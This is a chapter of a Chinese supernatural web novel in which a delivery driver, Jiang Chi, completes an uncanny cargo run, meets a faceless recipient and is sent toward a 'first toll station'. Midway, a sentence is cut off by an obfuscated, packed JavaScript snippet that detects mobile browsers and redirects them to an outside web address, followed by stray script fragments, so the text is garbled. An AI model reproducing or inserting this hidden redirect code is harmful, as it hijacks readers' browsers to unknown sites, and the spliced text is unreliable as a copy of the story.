车往下掉。
姜迟闭着眼，能感觉出车头在往下栽，栽了大概两三秒，她的胃里空了，手心全是汗，方向盘上黏糊糊的。
然后车落地了。
车胎碾上路面的声音很实在，发动机的声音也回来了，她睁开眼。
车灯照着一条新路。
沥青的，平整，划着白线，跟普通国道一模一样。前方几十米立着一个牌子，白底黑字，就四个字：雾村出口。
她回头看。
后视镜里什么都没有。车后是一条正常的公路，往前延伸，路两边出现了树，出现了田地，天边泛起一层灰白，快天亮了。
刚才那一切，塌碎的路，虚空，风声，全没了。
姜迟把车靠边停了，拉手刹，坐着缓了好一会儿。然后她推门下车，蹲在路边，点了一根烟，抽完，又点了一根。
她不是不怕。她是怕过头了，反倒麻木了。
手机震动。
【订单状态更新：货物已送达。】
【签收人：已签收。】
【订单完成。】
【结算中。】
姜迟盯着这几行字，愣住了。
送达？签收了？她刚才冲下悬崖的时候签收的？收货人在哪，她怎么没看见？
她跑回车尾，开锁，拉开门。
车厢里空了。
那口一米五见方、包了铁皮、贴着黄纸封条、会呼吸会敲箱板的木箱，没了。
车厢地板上只剩一圈压痕，和一小片黄纸的碎片，封条撕下来的一角。
货没了。
姜迟站在空空的车厢里，心里说不上是什么滋味。这一路，箱子替她挡过查验队，拿暗号救过她，临了连声再见都没有，就这么没了。
她跳下车，又看了一眼手机。
【本次订单结算：】
【准时送达，奖励：油一箱，已加满。】
【无货损，奖励：无。】
【新手单完成，行者证升级：可查看订单备注。】
【提示：三日内接满三单，否则行者资格注销。当前进度：1/3。】
备注。她终于能看见备注了。
她想起这一路上，导航屏幕上那些自己冒出来的小字。查验即验收，姐姐。那些字，原来都在备注栏里。
她翻到订单详情，拉到最底下。备注栏里躺着一条新的记录，时间显示是刚才，她冲下悬崖的那几分钟。
【悬崖是真的，路也是真的。它塌它的，你走你的。规则冲突的时候，物流规则优先。这一单，你赢了。】
落款没有名字。
姜迟看了很久，把这个APP，或者说这个系统里能翻的东西全翻了一遍。
历史订单就这一条，个人中心里是她的名字和证件号，还有一行状态：在途行者。
别的什么都没有。
她回到驾驶室，准备发车。这时候天已经蒙蒙亮了，东方的云烧起来一块，路上的雾散了七七八八。
她看见前方路中间站着一个人。
姜迟的手停在钥匙上。
那人站在雾村出口的牌子底下，离她的车不到二十米，背对着她，穿着一身黑衣服，低着头，一动不动。
她按了一声喇叭。
那人没反应。
姜迟慢慢把车开过去，在离那人五六米的地方停住，按下车窗。
"您好？"
那人缓缓转过身。
姜迟看清那张脸的瞬间，浑身的血凉了。
那张脸上没有五官。
那张脸是平的，白的，像一张没写字的纸，纸上只有皮肤的光泽，眉毛，眼睛，鼻子，嘴，全都没有。
可那人偏偏朝她歪了歪头，像是在看她。
"姜迟。"那人开口了。
声音从那张没有嘴的脸上发出来，平板的，跟导航一个调子。
"你的货，我收了。"
姜迟坐在驾驶座上，没敢动："你是收货人？"
"我是签收的。"那人平说，"货进了仓，单就结了。你不用管我是谁，你管下一单就行。"
"箱子里是什么？"
"你不用知道。"
"单子结了，货损责任也结了？"姜迟盯着那张白纸一样的脸，"那我要问一句，要是这货有问题，找到我头上，我找谁？"
无脸人歪着头，像是在笑。没有嘴的脸上做不出笑的表情，可那个感觉就是那个感觉。
"你这姑娘，倒是会留后手。"他说，"货没有问题。货到了它该到的地方。十九年了，它就等这一趟。"
"什么叫等这一趟？"
"就是它等你。"无脸人说，"姜家的车，姜家的司机。换了别人，接不了这一单。"
姜迟的心咚咚跳："我爸叫什么？"
无脸人不答。
"我有姐姐吗？"
无脸人还是不答。他转过身，背对着她，朝雾里走去，声音飘回来。
"三日之内，接满三单。接不满，注销。注销的意思你懂吗？不是你失业，是你这个人，从路上，从路上走过的地方，一点一点抹掉。没人记得你，没东西证明你存在过。"
"你说清楚，姜家的事！"
雾合拢了。
无脸人走进去，就没了。姜迟跳下车追了两步，雾里空空荡荡，哪还有什么人影。
她站在路中间，天光越来越亮，照亮了她的车，照亮了雾村出口的牌子，也照亮了前方笔直延伸的公路。
姜迟回到车上，瘫在座
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947437|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
椅里。
她摸出手机，翻到那张老照片一样的画面，不对，她手机里没有照片。
她想起无脸人的话，想起假姜迟说的全家福，想起备注栏里的姐姐。
这事的根子，在她家里。
她拧钥匙发动车，想先回城，找个地方睡一觉，醒了再琢磨。导航亮了，跳出来一个她没见过的界面。
不是订单，是一张地图。
地图上，她现在的位置是一个红点，红点顺着公路往前，前方十几公里的地方，出现了一个灰色的标记，标记旁边有字：第一收费站。
再往前，地图上一片灰，什么都看不清，像没解锁的游戏地图。
机械女声响起，还是那个平板调子，可说的话让她坐直了：
"请前往第一收费站，完成行者登记。提示：收费站内有其他行者，请勿暴露你的面单可见能力。"
面单可见能力。
它把她能看备注的事，叫这个名。
姜迟眯起眼："别人看不见备注？"
"普通行者，备注栏不可见。"女声说，"你的备注栏，与公路直连。此能力，全路仅三人拥有。前两个，都死了。"
车厢里静下来。
姜迟看着那个灰色的收费站标记，看了很久。
前两个都死了。一个是她爸，另一个是谁？
她想起无脸人说的，姜家的车，姜家的司机。
她把车窗摇下来，让晨风吹进来，吹散一车厢的烟味和冷汗味。然后她挂挡，起步，车头对准第一收费站的方向。
开出去没几公里，路边的雾彻底散了，景色变成了再普通不过的乡道，农田，电线杆，偶尔一辆对向的车。
有一瞬间，姜迟恍惚觉得，一切都过去了，她是个普通司机，跑完夜单，回家睡觉。
然后她看见了对向那辆车。
是一辆面包车，会车的时候，她往对向车窗里扫了一眼。
开车的是个男的，三十多岁，一脸没睡醒的疲惫，副驾上放着一箱货，后座上塞满了东西。
普通得不能再普通。
可那辆车的挡风玻璃下面，压着一张黑皮本子。
跟她的一模一样。
两车擦肩而过。姜迟从后视镜里看见那辆面包车停在了路边，跟她刚才一样，像是刚反应过来什么。
她的手机震了一下。
【检测到附近行者。距离：340米。】
【提示：同行未必同路，谨慎接触。】
姜迟看着后视镜里那辆面包车，看着那个同样回头看她的男人。
天彻底亮了。
新的一天，第一单送完了，还有两单等着她。
而她现在知道了，这条路上，不止她一个人跑车。